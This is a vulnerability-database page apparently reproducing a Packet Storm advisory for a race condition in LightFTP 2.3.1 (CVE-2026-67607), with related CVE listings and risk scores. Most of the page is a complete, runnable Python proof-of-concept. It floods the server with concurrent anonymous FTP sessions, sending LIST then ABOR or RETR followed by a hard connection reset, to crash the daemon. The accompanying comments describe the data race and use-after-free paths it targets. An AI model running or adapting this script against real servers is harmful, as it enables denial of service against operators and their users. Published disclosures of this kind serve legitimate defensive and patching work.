Lucene search
+L

📄 LightFTP Server 2.3.1 Race Condition

🗓️ 05 Aug 2026 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

LightFTP 2.3.1 race in worker_thread_cleanup unsafely uses shared state, risking crash.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-67607
31 Jul 202615:59
attackerkb
circl
Circl
CVE-2024-11144
16 Dec 202419:02
circl
circl
Circl
CVE-2026-67607
5 Aug 202612:15
circl
cnnvd
CNNVD
LightFTP 安全漏洞
16 Dec 202400:00
cnnvd
cve
CVE
CVE-2024-11144
16 Dec 202417:00
cve
cve
CVE
CVE-2026-67607
31 Jul 202615:59
cve
cvelist
Cvelist
CVE-2024-11144 Race Condition with LightFTP
16 Dec 202417:00
cvelist
cvelist
Cvelist
CVE-2026-67607 LightFTP 2.3.1 Race Condition DoS via worker_thread_cleanup
31 Jul 202615:59
cvelist
euvd
EUVD
EUVD-2024-34248
3 Oct 202520:07
euvd
euvd
EUVD
EUVD-2026-51558
31 Jul 202615:59
euvd
Rows per page
#!/usr/bin/env python3
    #
    #
    # LightFTP Server 2.3.1 Race Condition
    #
    #
    # Vendor: LightFTP Project
    # Product web page: https://github.com/hfiref0x/LightFTP
    # Affected version: 2.3.1
    #
    # Summary: Small x86-32/x64 FTP Server.
    #
    # Desc: LightFTP 2.3.1 contains a residual race condition (an incomplete
    # fix for CVE-2024-11144) in the worker_thread_cleanup() function of ftpserv.c.
    # The control thread reads and acts on shared per-connection state, including
    # the worker thread id it then passes to pthread_join()/pthread_cancel(),
    # without holding the context->MTLock mutex that the worker threads use when
    # updating that same state; and because the workers are detached, their thread
    # id can be reused once they exit. A remote (anonymous) client triggers the
    # window by starting a data-transfer command such as LIST and immediately
    # issuing ABOR, running the unsynchronized cleanup while the worker is still
    # finishing. ThreadSanitizer confirms multiple data races on the shared context
    # and a mutex being destroyed while still in use, and the cleanup joins or
    # cancels a detached, potentially reused thread id, which is undefined behavior
    # that can destabilize or crash the daemon and result in denial of service.
    # The 2.3.1 patch only narrowed the timing window (an extra re-check and
    # reordered cleanup); it never added the missing lock, so the underlying
    # race remains.
    #
    # Tested on: Kali Linux
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2026-6001
    # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6001
    # 
    # CVE ID: CVE-2026-67607
    # CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-67607
    #
    #
    # 29.07.2026
    #
    
    import threading
    import argparse
    import struct
    import socket
    import time
    
    _counter_lock = threading.Lock()
    _rounds = 0
    
    def _recv(sock, timeout=2.0):
        sock.settimeout(timeout)
        try:
            return sock.recv(4096).decode("latin-1", "replace")
        except OSError:
            return ""
    
    def _send(sock, line):
        sock.sendall((line + "\r\n").encode())
    
    def _pasv_port(resp):
        try:
            a = resp[resp.find("(") + 1: resp.find(")")].split(",")
            if len(a) != 6:
                return None
            return (int(a[4]) << 8) + int(a[5])
        except (ValueError, IndexError):
            return None
    
    def _hard_reset(sock):
        try:
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                            struct.pack("ii", 1, 0))
            sock.close()
        except OSError:
            pass
    
    def _one_round(args):
        c = socket.create_connection((args.host, args.port), timeout=5)
        _recv(c)                                  # banner
        _send(c, "USER " + args.user); _recv(c)
        _send(c, "PASS " + args.password); _recv(c)
        _send(c, "TYPE I"); _recv(c)
        _send(c, "PASV")
        dport = _pasv_port(_recv(c))
        if not dport:
            c.close()
            return
        d = socket.create_connection((args.host, dport), timeout=5)
        if args.mode == "drop":
            _send(c, "RETR " + args.file)
            time.sleep(args.gap)
            _hard_reset(c)
            try:
                d.close()
            except OSError:
                pass
        else:
            _send(c, "LIST")
            time.sleep(args.gap)
            _send(c, "ABOR")
            try:
                d.close()
            except OSError:
                pass
            _recv(c, timeout=3)
            try:
                _send(c, "QUIT"); c.close()
            except OSError:
                pass
    
    def session(args, tid):
        global _rounds
        for _ in range(args.iterations):
            try:
                _one_round(args)
                with _counter_lock:
                    _rounds += 1
            except OSError:
                break
    
    def main():
        p = argparse.ArgumentParser(description=__doc__,
                                    formatter_class=argparse.RawDescriptionHelpFormatter)
        p.add_argument("--host", default="127.0.0.1")
        p.add_argument("--port", type=int, default=2121)
        p.add_argument("--user", default="anonymous")
        p.add_argument("--password", default="x")
        p.add_argument("--connections", type=int, default=16)
        p.add_argument("--iterations", type=int, default=20)
        p.add_argument("--gap", type=float, default=0.0,
                       help="seconds to let the worker run before ABOR / RST")
        p.add_argument("--mode", choices=["abor", "drop"], default="abor",
                       help="abor: LIST+ABOR (data-race path). "
                            "drop: RETR a large file then RST the control "
                            "connection (use-after-free-of-ctx path).")
        p.add_argument("--file", default="big.bin",
                       help="file to RETR in drop mode (make it large, server-side)")
        a = p.parse_args()
    
        print("[*] mode=%s racing %s:%d with %d connections x %d iterations"
              % (a.mode, a.host, a.port, a.connections, a.iterations))
        threads = [threading.Thread(target=session, args=(a, i))
                   for i in range(a.connections)]
        t0 = time.time()
        for t in threads:
            t.start()
        for t in threads:
            t.join()
        print("[+] completed %d rounds in %.1fs" % (_rounds, time.time() - t0))
        print("    watch gdb for SIGSEGV/SIGABRT (drop mode targets use-after-free "
              "of the stack ctx); a server crash is the positive result.")
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.17.5
CVSS 49.2
EPSS0.00333
SSVC
7